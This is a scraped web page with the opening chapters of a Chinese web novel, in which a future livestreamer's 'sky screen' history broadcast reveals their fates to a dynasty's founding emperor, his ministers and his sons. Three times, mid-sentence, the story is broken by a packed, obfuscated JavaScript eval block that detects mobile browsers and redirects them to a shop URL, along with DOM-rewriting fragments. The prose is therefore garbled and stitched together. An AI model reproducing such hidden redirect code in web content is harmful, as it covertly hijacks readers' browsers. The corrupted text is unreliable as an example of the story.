《天幕剧透我竟是中兴之主》 1. 序幕 永明元年,岁在丙子。 宣政殿内,永明帝与诸朝臣议事方毕,殿内肃穆的气氛尚未消散,耳畔忽闻仙乐阵阵,飘渺琴音夹杂着激昂鼓点回荡天地。 有小黄门匆匆来报:“陛下,天幕再现!” 话音未落,众人的目光已循着响起的琴音看向殿外的天空。 原本万里无云的天穹上,悄然浮现出一面透明的屏幕。 屏幕上是一位妙龄女郎,发饰服饰虽竭力靠近当下,细节处却总有几分不伦不类。 这奇异的天幕最初出现在年初永明帝的登基大典上。 据大夏朝廷调查,天下之人无论身处何方,只要抬头望天便可将完整的天幕纳入眼底,不虞视角遮挡,也不存在因口音和文字陌生而导致的费解。 大家自然而然就能听懂女郎的语言,看懂天幕上的文字。 如此神异,莫非是仙人降下的祥瑞? 大夏朝廷趁机宣扬天命在夏,民间百姓则纷纷叩拜神女。 只是半年过去,随着天幕时不时出现,“神女”一次又一次“直播”,天下间许多人渐渐明白过来,这并非什么天赐祥瑞,而是后世之人讲古,且讲的正是本朝之事。 对民间百姓而言,这可比听评书有意思多了,况且还不费钱。 到了现在,一听见熟悉的声音,只要不是忙得上头的人,都忍不住本能地抬起头。 就见天幕上笑意盈盈的年轻女郎冲大家抬手打招呼。 【朋友们又见面了,我是你们的史盲主播文心!】 天幕下不少人下意识回礼:“文心姑娘好!” 过去半年颇为奇妙,这位来自后世的文心姑娘在九州已是无人不识。她的讲古直播更是不知不觉间成为许多人最期待的娱乐活动。 人类的悲欢并不相通,永明帝只觉得他们吵闹。 人还活着便提前知道自己的庙号、谥号,乃至史书评价,尤其是被迫与天下人一起听后世的小姑娘扒拉自己的发家史,从正史野史各种边边角角里揭开一些他极力想要隐藏的秘密,这滋味难以形容…… 他面无表情地注视着天幕上自称史盲的女郎小嘴一抿,开始造谣: 【前几期我们讲过夏太祖薛烈的发家史,这一期就来聊聊继承人的问题。一代打天下,二代守天下,王朝能不能延续就看二代皇帝的成色。】 【众所周知,自燕王朝崩塌以来,天下动荡数十年。夏太祖起于行伍,屡败强敌,扫平北方,定鼎中原,几乎一统天下,靠的就是能生,会生——不仅有一个十六岁就在战场上大开无双的战神儿子,还有一个堪称神级辅助的闺女。】 【父子俩在前线攻城掠地,闺女在后方稳定人心。张皇后去世早,夏太祖又没有续娶,所有该由女主人出面的事都是闺女一力担起,桩桩件件妥帖周全,让夏太祖后顾无忧。前燕那些要么抽不出卡、要么一抽一堆r卡的皇帝们,看了不得羡慕死啊!】 【手握两张SR,夏太祖本人更是当世顶尖军事家,唯一SSR,加上身边大大小小一堆R卡、SR卡,这局都不知道怎么输!】 听惯了后世奇奇怪怪的形容词,众人也大概明白这些古怪符号所代表的等级含义。 永明帝:……你还知道朕才是唯一的SSR啊! 什么能生、会生,靠儿女打天下,后世造起谣来,真是全然不顾当事人死活……只是想到一双儿女,永明帝的心情不可避免败坏下来。 殿中群臣纷纷噤声,不敢触天子霉头。 唯一不顾当事人死活的主播继续叭叭: 【大概是人太顺易遭天妒,或者是某种特殊的平衡机制,欧皇夏太祖终于遭到了制裁。不知道怎么输是吧?老天爷出手了,一出手就直接没收了他的两张SR。】 【——文襄太子遇伏,身披数十箭而死。宣成公主时值有孕,闻讯早产,血崩而亡。】 【前后两个月,夏太祖痛失爱子爱女,《夏史》记载“帝悲不自胜,呕血于地”。】 “……天妒?” 丧子丧女之痛,虽经数载难忘,此时被主播揭开伤口,还口无遮拦一通撒盐,永明帝依旧面无表情。殿内群臣却感觉周遭温度狂降,仿佛看到一头怒意勃发、欲择人而噬的猛虎,杀气张牙舞爪,四溢而出。 这位天子虽非滥杀之辈,却也不是好相与的主儿,群臣暗叫苦也,只恨不得封了天上那位姑奶奶的嘴。每回这位一张嘴他们就胆战心惊,这样的日子何时是个头? “陛下息怒,勿因无谓之言有损龙体。”丞相夏侯敬一步跨出,道,“后世之人无知无畏,无君无父,安敢妄谈天数?” 作为伴随永明帝一道起家的老臣,也是永明帝昔日的好友,唯有夏侯敬敢在永明帝发怒时插话,且谈笑自若,神情泰然:“不过是故作惊世之言,博人一笑而已。” 断断续续收听“直播”半年,他们早就发现,后世之人谈起帝王之事往往轻佻无状。知道归知道,接受却是另一回事。 至少永明帝就不太能接受这般调侃。尤其是“天妒”之说,一旦被有心人利用,在愚夫愚妇之中传播,势必徒生风波。 须知永明帝虽定鼎中原,天下却未一统。南方尚有齐、梁、陈三国并立,与大夏四分天下。他登基以来,厉兵秣马,只等天时一至,便攻取三国。不成想天时尚未到来,后世之人的讲古直播便莫名降临。 幸而天幕中已明确透露大夏将是继前燕之后又一个大一统王朝,故而这半年来,天下虽有动乱,动乱最多的地方却是南齐、南梁、南陈。永明帝未动一兵一卒,便收到了南方三国不知多少大臣寄来的密信。 ——这才是昭昭天命! 念及天幕出现以来大夏得到的好处,永明帝自己说服自己,消了怒气。 只是他前脚才将自己安抚完毕,后脚又被主播三言两语挑出了一身的怒火—— 【正史记载明明白白,有些人就不听,偏说是夏太祖猜忌心起,故意害死他们。】 【先不说虎毒不食子,毕竟皇帝这玩意儿吧都不是正常人,和他们不能谈亲情。只说这两人死的时候夏太祖才打下半个北方,河都还没过呢,哪个傻子会拆桥?】 【哦,历史上的确有过这样的傻子,某知名不具昏君。但你要说这样的傻子能从底层一路厮杀上来,招揽众多文臣猛将,开创一代王朝?醒醒,别做白日梦了!】 【当然,最重要的一点其实是,两张SR的作用真没那么大。他们作为子女算是非常优秀,但抛开夏太祖儿女的身份不谈,夏太祖麾下不是没有胜过文襄太子的猛将,真要论功,文襄太子排不进前三名。】 【宣成公主这边的作用倒是无可取代,没有她做调和,夏太祖又是个性格暴躁的主,登基后威严日盛,君臣关系再不复从前……但谁见过不猜忌文臣武将猜忌公主的啊!】 “夏太祖猜忌害死子女”、“皇帝这玩意儿”…… 群臣倒吸一口凉气,暗恨自己今日上朝非要带耳朵干嘛,这都是他们敢听的吗? 至于说天子性格暴躁,群臣假装听而不闻,心里却连连点头。可不是吗?当今年轻时的暴脾气是出了名的,现在看似收敛,反而愈发君威难测。 而暴躁的天子已是冷笑一声:“廷尉何在?” 字数越短,事态越重。 “查!但有造谣生事之人,以作妖言论处!” 宣政殿中气氛降至冰点,别处又是另一番景象。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803774|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>士人多是指控后世之人不知尊卑、不识体统;亦有腐儒借此对自家女儿、孙女展开“闺训”,拿天幕上侃侃而谈的主播当反面教材;南齐、南梁、南陈的三位国君丝毫不知已被臣下出卖,看热闹不嫌事大。 至于民间百姓,讲起政事他们不懂,但父母爱子之心却是共通的。 他们又是为皇帝的一双儿女如此优秀而惊叹,又是为其早逝而痛惜。一些同样经历过丧子之痛的人,甚至情不自禁悲从中来。 再听那谣言,便忍不住痛骂那造谣的奸邪小人。 “丧了儿女还要被人造谣,看来皇帝老儿也是不好当。”也有人私下里嘀咕起来,“这造谣者是无儿无女,无父无母么?真是丧了良心……” 与此同时,天幕上的主播亦细细举出一桩桩一件件事例,替夏太祖澄清谣言,证明他如何真心疼爱发妻所生的一双儿女。 【……与其说夏太祖是靠儿女打天下,不如说是带儿女打天下。一字之差,天壤之别。】 就在永明帝略感欣慰之际,她又话锋一转: 【扯远了,总之夏太祖能生、会生,基因非同一般是公认的。】 【薛家祖孙三代是出了名的物种丰富:有R卡,有SR卡,有SSR卡,有神人,有普人,有拟人。】 【奈何前半生似乎耗光了夏太祖的运气,先是两张SR被撕卡,临死前又在一堆普人和拟人中精准挑中拟人中的拟人,论败家坐三望一的夏幽帝。】 【这谁见了不说一声你咋这么会选啊!】 天幕下众人倒吸一口凉气。 小小一段话,信息量过大。 壅遏不通曰幽,早孤铺位曰幽,动静乱常曰幽,暴民残义曰幽,淫德灭国曰幽……从古至今,“幽”之一字,可谓恶谥! 结合上下文,那个让人似懂非懂的“拟人”显然也不是好词。拟者,似也,一个人若是只能被评价为“似人”,还能算是人吗? 非人而似人,后世之人的嘴真毒啊! 此前群臣得知大夏将会一统天下时有多兴奋,此时这个令人震撼的“拟人夏幽帝”猝不及防蹦出来,就令他们有多心慌。 宣政殿中一片兵荒马乱。 我大夏难道要开创前所未有的记录,一世定鼎,二世而亡? 这种事情不要啊.jpg! 群臣脑海中不约而同浮现出曾在天幕上见过的表情包。 好一个拟人,好一个幽帝……看似最平静的永明帝,扶在御座上的手背青筋暴起。 他无声将手按在了剑柄上。 帝王冰冷的目光缓缓扫过全场。殿中躁动的气氛仿佛被某种无形的力量按了下去。 “陛下!”丞相夏侯敬再度开口,神情凝重,“文娘子此言,已有动荡国本之威。” 他的目光在众多同僚脸上扫过,将一些人面上的震惊与茫然看在眼里。 夏侯敬拱手道: “臣请诸臣工暂留宣政殿;速召诸皇子、皇孙入宫候旨;同时,陛下宜即刻下旨,命廷尉立刻派人监察京中舆情,弹压妄言,敢有借机生事之人,绝不轻赦!” 三条建议,条理清晰。昏君亡国带来的危机在他有条不紊的安排下眼看便消散大半。一些人混乱的思绪亦随之清晰起来。 永明帝深深看了这位老友一眼。 “准。” 一个字,重若山岳。 永明帝的目光转向殿外苍穹。 任凭风起云涌,那天幕依旧高悬。 “朕与诸卿便一同瞧瞧。”他吐出的每个字都透着森森杀气,“究竟是哪个孽障得了个‘拟人’的评价,背上了‘幽’这个谥号。” “再议一议,该如何绝此后患。” 2. 诸王 天幕亮起时,薛挽月正在做木工活。 他年仅九岁,介于男童与少年之间尚未褪去婴儿肥的脸还带着几分圆润的弧度。黝黑的瞳仁又圆又亮,高度专注之下,像极了捕猎中的猫科动物。 木屑纷纷而落,灵活舞动的指节间,一座雕琢成型的微型园林被打磨得愈发精致,飞檐虹桥、亭台楼阁,历历在目。 更令人啧啧称奇的是边上的一排玩偶,捕食的苍鹰、懒卧的狸奴、如音符般排成一列错落有致的雀鸟……不过手指大小的飞禽走兽,看上去竟栩栩如生。 四下哗然之际,薛挽月头也没抬。 他手持刻刀,动作很稳。 “三弟……” 兴冲冲跑进来的薛澄下意识收了声。 相伴多年,他对自家三弟的性子再清楚不过,知道他做事向来全情投入,尤其是在做手艺活的时候,最不耐烦旁人打扰。 薛澄索性往边上一站,伴着天幕配音欣赏三弟的手艺活。 很快,薛澄的全副心思都被天幕上主播轻佻放肆的言论吸引了过去。 别说,这种在背后听别人蛐蛐自家皇祖父的感觉,还真有些刺激…… 较之全程波澜不惊的薛挽月,薛澄无疑是一位优质听众。 他时而瞳孔地震,时而面目扭曲,时而捂嘴憋笑,回馈主播的情绪价值拉满。 听到夏幽帝的环节,薛澄不禁当场倒吸一口凉气,喃喃道:“败家坐三望一?哪位叔伯有这份本事,我怎么没看出来?” “或许你漏了一个人?” 薛挽月不知何时搁下了手中的工具,加入话题。 薛澄一时没反应过来:“啊,你说父王?” 他大呼不信。 “怎么可能!父王虽不及文襄太子文武双全,却素来不好纷奢,礼贤下士,是顶顶注重贤名的人,岂会行那败家之举!” ……更别说他们父王在一众皇子中排行行五,前头还有三个哥哥,这储君之位怎么看也轮不到五皇子齐王。 薛挽月也没反驳,只是轻轻笑了笑。 “是么……” ……人心难测,所谓贤名,又有几分真几分假?何况从古至今,能有几人在登上那至尊之位后依旧抑制私心,克制己欲? 反正齐王不是这样的人。 倒是登基前猛猛压抑,登基后报复性补偿的“神人”,在薛挽月所知的另一段历史中屡见不鲜。尤其是某“网庙十哲”之一。 薛澄倒是来了兴趣:“要不咱们打个赌,我选四叔!吴王叔可是出了名的大方!” 他浑然没将什么昏君亡国的可能放在心上,毕竟天塌下来也有皇祖父顶在上面。 薛挽月还未接话,院外传来一阵急促的脚步声。 来人是个面白无须的小太监,名唤来喜。 薛挽月记得他是齐王身边大太监王忠的养子之一。 “二公子、三公子,大王命二位即刻更衣,宫中有口谕到,召所有皇子皇孙入宫!” 来喜快步上前,躬身一礼。目光扫过满院工具与木料,他忍不住催促道:“请二位公子快些,莫要让大王久等!” · 随着圣谕下达,秦王府、晋王府、吴王府、齐王府、梁王府、陈王府,六位皇子携二十余位皇孙,第一时间赶往宫中。 在路上,皇子们面无表情地听完了一番极端拉踩的言论。 【之前说过,夏太祖薜烈最满意的继承人一直是文襄太子薜珏——身为原配张皇后所出的龙凤胎之一,允文允武,就是差点运气,年纪轻轻人就没了!】 【顺便一提,张皇后去得早,当时夏太祖还是个小兵,寡夫带娃,又当爹又当妈把一双儿女拉扯大。】 【当然,古代男人的深情,懂的都懂。怀念亡妻不妨碍他后来纳妾,最后足足凑够了七儿四女一支足球队!】 “唉,大哥是可惜了。” 听天幕提及早逝的文襄太子,后面出生的四位皇子感触不深,秦王与晋王却不约而同怀念起昔日手把手教他们习武的长兄。 怀念之外,更多的却是窃喜。 大哥若是还在,哪有他们的机会? 不过,足球队又是什么? 没等心中疑惑得到解答,主播的下一句话让所有皇子表情齐齐一僵。 【——好大儿没了,打下的江山总得有人继承吧?但和好大儿一比,剩下的儿子在夏太祖眼里,都是歪瓜裂枣。】 天幕中的女郎手一抖,一排十分形象的Q版小人出现在左侧。 拢共七个小人,其中六个不是扭成麻花,就是糊成一滩,只能说初具人形。 惟有被簇拥在中间的小人身板挺直,鹤立鸡群,顶着蚊香圈形状的金灿灿王冠,分明是简笔画,都能硬生生看出几分帅气。 七个小人在天幕中跳起了魔性的舞蹈。 天幕下众人的表情也跟着魔性起来。 被主播盖棺定论的六个歪瓜裂枣就是在此时抵达宣政殿。 年纪相当且皆有战功的秦王与晋王这几年来斗得很凶,在门前相遇只是冷哼一声,彼此连假惺惺的友好微笑也懒得维持。 二人几乎肩并肩,谁也不肯落后半步地跨入殿中。 迎接他们的是来自永明帝毫不掩饰的审视,与百官暗戳戳的打量。 众皇子上前行礼,头还没抬起,就被当头暴击。 【让我们来看看这一排歪瓜裂枣。】 天幕上魔性舞动的小人一个个跳出来,伴随着主播犀利的点评。 【秦王薛瑞,暴躁易怒,疯起来连老婆都打,简直不是男人;】 【晋王薛琛,嗜酒如命,放荡不羁,上门的名士看了都直摇头,转身投奔吴王;】 【吴王薛瑜,秉性宽厚,养了一堆谋士,但耳根子软又无决断,到了后来,甚至有人滥竽充数,混入吴王府中白吃白住;】 【齐王薛璟,看上去似乎没什么大毛病,温文尔雅,尊贤尚礼,奈何是个影帝;】 【梁王薛理、陈王薛琦?】 【一对混吃等死的废物。】 【难怪夏太祖死活选不出继承人!】 低调跟在齐王身后的薛挽月暗暗点头。 不得不说,这番评价一针见血。 然而,当事人显然并不是这么想的,被挨个点名的众皇子当场表演笑容消失术。 尤其是秦王。 被锐评“不是男人”的秦王气得额头青筋暴起,对着天幕上言行戏谑的女郎怒目而视,若非忌惮天幕神异,就要当场发作。 秦王破防的表现反倒是让其他皇子一下子心平气和。 蒜鸟蒜鸟! 只是被人滥竽充数、白吃白喝而已……吴王心想,本王家大业大,不缺这点钱粮。 哪怕被骂废物也好过被骂不是男人嘛……安心躺平的梁王、陈王废物兄弟组对视一眼,默默向二哥秦王投去怜悯的目光。 晋王发出一声轻轻的嗤笑。 他看不惯秦王很久了,不过比自己早出生半年,自文襄太子去世,这人便以继承人自居,总爱摆长兄架势,不伦不类! 一肚子火发不出去的秦王顿时将噬人的视线盯到他身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803775|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你笑什么?” 晋王懒洋洋地掸了掸衣袖:“我想到好笑的事。” 他不在意喝酒误事的评价,反倒学起了主播玩过的梗。 这轻慢的态度宛如火上浇油,秦王只觉遭到莫大的羞辱,再也按捺不住:“放肆!” 话音未落,他已一拳挥出。 风声扑面! 早有准备的晋王轻飘飘往旁边一闪。 倒是另一个人的脸结结实实挨了一拳。 突然上前当了肉盾的齐王发出一声闷哼,左眼眶以肉眼可见的速度青紫起来。 “二哥、三哥,别冲动。” 挨了打的齐王挡在两个哥哥中间,当起和事佬:“万勿因一时激愤伤了手足情分!” “你一边去!” “你给我让开!” 秦王与晋王隔着齐王互相怒视,宛如两头发怒的雄狮,同时伸手将人往旁边一扒。 素来文弱的齐王一个趔趄,好险没有当场栽倒。 “二位殿下,得罪了。” 一双骨节粗大、遍布旧伤的大手突然探出,一手一个按住两人肩膀,两位皇子顿时像是被拎住脖子的小鸡仔般僵在原地。 这一回挡在他们中间的是车骑将军申屠恤——大齐元从之首,永明帝的左膀右臂。 这位老臣之所以出手,无疑是受到了永明帝的指示。想到此节,冷静下来的两人悄悄去看永明帝的脸色,果然一片铁青。 “够了,成何体统!” 永明帝冷眼扫过两个差点打起来的儿子,又瞥了眼明显看笑话的另外三个儿子,最后看向唯一一个出面劝架却扑街的齐王。 他琢磨着“影帝”这个词,神情莫测。 要不是实在没得选…… 仿佛听到他的心声,对一切一无所知的主播,先是对夏太祖的六个儿子进行了一番毫不留情的“公开处刑”,继而大胆开麦: 【要我说,何不直接立太孙?跳过昏君,让宫主一步到位不行吗?有幽帝这个亲爹,简直是我们宫主一生的污点!】 【夏太祖还是太保守了!】 提及“宫主”,她的神情明显激动起来。 永明帝乃至百官死掉的心随之活过来。 ……宫主?什么宫主? 这小娘子,该说明白的时候偏偏含糊其辞,真是教人着急…… 众人一颗心高高吊起,却只能听这位自称史盲的主播按照自己的节奏继续。 【但没办法,夏太祖终究没有开天眼。】 【他想在一堆歪瓜裂枣里挑出一个不那么歪的,结果左挑右挑不满意,立太子的事就这么拖了下来。】 【拖着拖着,儿子们一个个先一步寿命到期了。】 【先是老二嘎了,再是老三。】 【二王嘎,四王笑。从六选一到四选一,难度这不就降下来了吗?难怪大家总说,时间会给出答案。】 天幕上的主播谈笑风生。 秦王与晋王却如遭雷击。 兄弟二人有生以来第一次如此默契。 秦王双眼瞪若铜铃,不敢置信:“本王年方而立,身强力壮,怎么……” “怎么就‘嘎了’?”晋王郁闷地接过话茬,说出了他不愿吐出的那个词。 ——你倒是说明白点啊! 二王的渴望无人在乎。 主播对他们的死亡一笔带过,甚至还开了个无良的地狱笑话,连死因都懒于提及。 而永明帝将败家子的人选叉掉两个。 他的目光开始在吴王与齐王之间打转。 3. 死讯 【永明五年,是夏太祖薛烈生命中的最后一年。】 【四年前,他一统北方,定鼎中原,立国为夏,建元永明。追封嫡女为宣成公主,嫡子为文襄太子,发妻为高皇后。】 【——从戎三十载,这位大夏王朝的开国之君,终究实现了少年时荣华富贵、封妻荫子的梦想。】 唢呐一声响,永明帝险些被当场送走。 宣政殿内先是一片死寂,继而哗然。 笏板砸落在地的声音掩盖在惊呼里,群臣下意识向御座望去,或是面色惨白,或是神情惊怒。 捕捉到自己的死讯,永明帝顾不得继续审视两个高度疑似败家子的儿子,猛然望向天幕。 “永明五年”这个确凿的日期,让他心脏一紧。 ……只有短短不到五年光景了? 五十有四的永明帝算了算自己的寿数,五十八岁寿终,在历代天子中算是命长的,但谁不想多活一些年呢?更别提他还有许多未完之事。 片刻前晋王与秦王的心情,此刻他总算是感同身受。永明帝望向天幕的目光不免染上几分焦虑:人是怎么没的,你这女郎倒是说明白些啊! 倘若寿数到了,那是无法可想。 若是疾病或意外,当能避则避。 永明帝的疑惑没能得到解答,反而添了新的疑惑。 【说到这里,一些缺乏常识的朋友可能就要问了,夏朝的开国之君难道不是夏明帝吗?】 【这种说法代表了史学界相当一部分人的观点,说起来也是有理有据。毕竟夏王朝直到夏明帝的手上才真正一统四海,在此之前的夏,充其量只是割据一方的诸侯国。】 【要不怎么总有人说,夏明帝是拿着亡国之君的剧本干成了中兴之主,看似中兴之主,实则是开国之君呢!】 【但注意啊,夏明帝的庙号是世宗,不是世祖,意味着承认其基业乃是继承而来,而非开拓。夏朝官修史书上一直是太祖开国,世宗中兴。初中历史选择题选夏朝开国皇帝时千万别选错了,别白白丢分。】 【话又说回来了,人类的认知不因史书记载而转移。很多人从小看《大夏演义》,久而久之已经形成了固有印象。那就是夏明帝年纪轻轻就白手起家打天下,最终在大夏天团的簇拥下定鼎江山,开创大夏。】 【至于夏太祖薛烈,那是谁?】 【哦,原来是明帝的祖父啊?看在他给明帝留下几个老臣的份上,给他算一份奠基之功吧?】 最后这个尾音上扬的疑问就很传神。 大可不必这么勉强…… 永宁帝差点气笑了,心情却是不错。 他终于从主播口中得到了确切的答案。 大夏没有亡国,他辛辛苦苦建立的基业没有毁在败家子手中!儿子这一辈不争气,孙子却是成器的…… 这一瞬间的欣慰让他神色缓和许多。 这份微妙的表情变化在外人看来颇为古怪。 先是被告知死讯,继而又被后世人否认功业,连开国之君的地位都险些被无知之徒剥夺……陛下怎么看着还挺乐的,难不成是气糊涂了? 一部分敏锐的大臣则是和永明帝一样,意识到大夏的未来或许要寄托在第三代手中,此时已经不着痕迹地审视起殿中聚集的一群皇孙。 尤其是吴王府的五名皇孙与齐王府的四名皇孙。 捎带着成为人群焦点的吴王与齐王心情复杂。 素来望子成龙的他们此刻突然希望自己的儿子别那么出息。 如果夏明帝是自己的儿子,岂不是意味着自己就是那个误国的幽帝? 这个可能性只是在心中一闪,就被齐王排除。 ‘我若为君,当是万古圣王!’ 顶着乌青眼眶的齐王幽幽看向吴王。 看来父皇终究是选了四哥这个废物。 ——自己是有哪里不如四哥?! 一面为原本历史中自己的落败而不甘,一面为天幕提前曝光后吴王即将迎来的父爱如山而幸灾乐祸。齐王薛璟的表情看着竟有几分扭曲。 与此同时,吴王的心越来越凉。 目光在老父亲摩挲剑柄的手上一触即分,吴王脸色发白。 老二老三没了,他就是长子。再看三个弟弟,最小的两个废物,他爹肯定看不上。老五向来爱惜名声,这样的人怎么看都不像昏君胚子。 要在兄弟几个里选一个败家子,吴王左看右看,很难不选自己。 他心虚地往后退了半步。 薛挽月的眼角余光恰好捕捉到这一幕,不禁眨了眨眼睛。 他轻而易举就猜透了吴王的想法。 这位王叔真是有意思,世上竟有主动抢着背锅的…… 便是此时,薛挽月的衣袖被人扯了扯。 他纹丝不动,朝薛澄投去一个眼神:‘?’ 薛澄使劲眨巴眼睛,向他传递讯息。 ‘怎么样?我就说多半是四叔吧?’ ‘这可不一定……’ 薛澄没能领会自家三弟想要表达的意思,他兴致勃勃的眼神已经飘向吴王府的堂兄弟们,似乎想要再一次选中隐藏其中的SSR夏明帝。 他首先琢磨起“宫主”这个似乎别有意味的称号。堂堂天子,何以被称呼为“宫主”?若是能发现其中的秘密,或许就能找出夏明帝的身份。 【说到底,宫主就是善啊!】 【明明可以称祖,独享定鼎之功,却二话不说把这份荣光让给了祖父,连太宗这个顶级庙号都让给了素未谋面的大伯,他真的,我哭死!】 【夏太祖在地下看了,不得感动得眼泪哗啦,高呼“好圣孙”啊?】 还活着的永明帝:??? “好圣孙”是真的,眼泪哗啦就算了。 堂堂大丈夫,岂可哭哭啼啼作妇人姿态? 算了,他也习惯了后世的女郎说话便是这么夸大其词。诸如什么“把荣光让给祖父”,大夏的基业都是他真刀真枪所立,哪里需要孙子让他? 只是,把太宗的名号让给大伯……是他猜想的那样吗? 永明帝惊疑不定,对夏明帝的性情有了几分揣测。 ……看来是个不拘小节的。 回过头来,却听主播再次鞭尸夏幽帝。 【要知道,夏太祖将统一之路已经走完九十九步,按理来说,接下来皇位上就是拴条狗,也能把最后一步走完。没想到,夏幽帝拉了一坨大的,差点从终点线干回起点线。夏太祖在地下肯定直呼“日了狗”。】 永明帝忍了又忍,还是没忍住蹦出一声“粗鄙”。 天幕之下,听“评书”的人一个个乐了起来。 “照这姑娘说的,皇帝老爷到了阴间也忙得很哩,成天盯着阳间不放,见了不孝子得气个倒仰,见了好圣孙就美得冒泡……” “我家那老头子可不就是这样!” 原本高高在上的皇帝老爷,在这样一番幻想中突然就变得像身边的老人们一样“亲切”起来。同样会因为不孝子而烦恼,为家业操碎了心。 只是转念一想,人家的家业是万里江山,那份恍惚中“大家都一样”的错觉立时便烟消云散,取而代之的是对薛家人富贵生活的种种幻想。 只是百姓的认知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803776|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终究受限于眼界,想来想去,不过就是东宫娘娘烙大饼,西宫娘娘卷大葱,最终发散的思维又被流动的天幕吸引过去。 【从永明元年到永明五年,薛烈励精图治,三度南征。两年平齐,一年灭陈,只差吞并南梁就能一统四海。离统一最近的时刻,他一度兵围南梁都城五月之久,却在攻城时误中流矢,夏师不得不全军而退。】 天幕之上,虚幻的九州地图缓缓铺开。 一幕又一幕剪辑的影视画面在地图另一侧投影出来。 沙场喋血,云梯攻城,刀光剑影中的厮杀…… 宣政殿内,群臣先是为“流矢”所惊,继而又被那山川河流具细无遗的地图所吸引。倒是那些看起来漏洞百出的战争画面,他们已经知道是后世的伶人演绎,只是一扫而过,便专心临摹起天幕上的地图来。 丞相夏侯敬的目光在一些关键要隘上掠过,摇头道:“可惜,这九州山河图不独大夏得见……”否则,他们将建立起更加绝对的优势。 武将则是牢牢锁定地图上的南方三国,嘴里念叨着主播简要概括的“两年平齐,一年灭陈”,一个个兴奋得摩拳擦掌,恨不能现在就率军打过去。后者三言两语之间勾勒而出的未来,很难不让他们心潮起伏。 兴奋之余,强烈的惋惜亦迸发出来。 ……只差一步就能一统啊! 素来老成持重的申屠恤都不禁重重捏紧了拳头。 他忍不住劝谏道:“流矢无眼,陛下一人系江山之重,纵然御驾亲征,也当坐镇中军。亲冒矢石,此乃一夫之勇,非为君为帅之道也。” 流矢划过天幕的瞬间,永明帝下意识眯起眼睛。 他注视着那个饰演自己的伶人从马上仰面栽倒,暗自点评其演技浮夸、情节完全不保真的同时,一股感同身受的遗憾洪水般淹没了他。 回过神来恰好听到老兄弟的劝诫,永明帝心头大凛。 他自认是个能吃苦能忍痛的硬汉,若非伤重,绝不会在即将拿下胜果之时放弃。且以他对诸将的了解,恐怕是他这个主帅出了意外,甚至严重到昏迷不醒,社稷有动摇之危,麾下众将不得已之下方才退兵。 “你怎么也学起了谏官作派?”永明帝一笑之下,殿内气氛略有缓和。他正色对群臣言道,“朕既已知晓天机,必不‘重蹈覆辙’。” 闻言,群臣面上的忧虑之色散去,纷纷言称“天命在夏”;或曰天幕之所以降下正是为指点陛下避过死劫;也有人指责南梁不识天数,非但不投降还滥施毒计,说着说着就开始请战,暴露了自己的真实目的。 这位一边劝永明帝不要再御驾亲征,以防被小人所害,一边主动请缨南征、自荐为南征大元帅的仁兄,顿时受到举朝侧目——乱世之中打天下,首重军权,让皇帝将举国兵马尽托于一人,怕不是疯了? 目光触及其人,又纷纷收了回去。 ……是秦王啊,那没事了。 秦王是这样的,有脑子的事情他从来不做。 何况,得知死讯的秦王疑似更疯了…… 秦王在众人的注视中昂首挺胸,振振有词:“儿臣是为父皇着想。父皇已是知天命之年,何必上战场搏命?儿臣还年轻,正是闯荡的年纪!” 他想明白了。如果他命中注定要死,战死沙场总好过别的窝囊死法。万一他避过死劫,既是长子,又有灭国之功,太子之位舍他其谁? 永明帝盯着大言不惭的秦王,只想给他个大耳刮子。念及这混账东西年纪轻轻就死了,许是有隐疾,他伸出一半的手不情不愿收了回来。 永明帝懒得再废话,一指殿门:“滚!” 4.请封 秦王到底是没有滚。 天幕中骤然响起的歌声吸引了所有人的关注。 那是一道清婉的女声,唱的是不知名的民谣。 主播的声音及其轻柔,轻得仿佛担心惊破谁的美梦。 【永平五年十月初九,病榻上的夏太祖薛烈做了一个梦。】 【他梦回数十年前,再见亡妻、爱子、爱女,一家四口享尽天伦之乐。】 雾化的天幕中,一行鸿雁南飞。 隔着一层朦胧的滤镜,镜头视角由远及近,从依山傍水的小村庄上空掠过,继而向下,最终定格在一间小院。 山风拂过倚墙而立的几株桃树,满树芳菲随风而落。 “来追我啊,来追我啊!” 一对扎着总角的童子打打闹闹追逐着花瓣跑过,嬉笑声好似极远又极近。 屋内纺织的妇人扭过半个身子向外看来:“仔细别摔着了……” 打猎归来的男人推开了半掩的院门,一手提着山鸡,一手捉着兔子,踏过门槛,就被追逐打闹的一双儿女冲上来撞了满怀。 笑声、叫声、骂声,仿佛烩成了一锅。 永明帝凝望着其乐融融的一家四口,整个人似已呆滞。 他的目光从两个孩子脸上细细描摹而过,又落向布衣荆钗难掩秀色的少妇眉目之间,眼前蓦然浮现另一张或笑或嗔的脸。 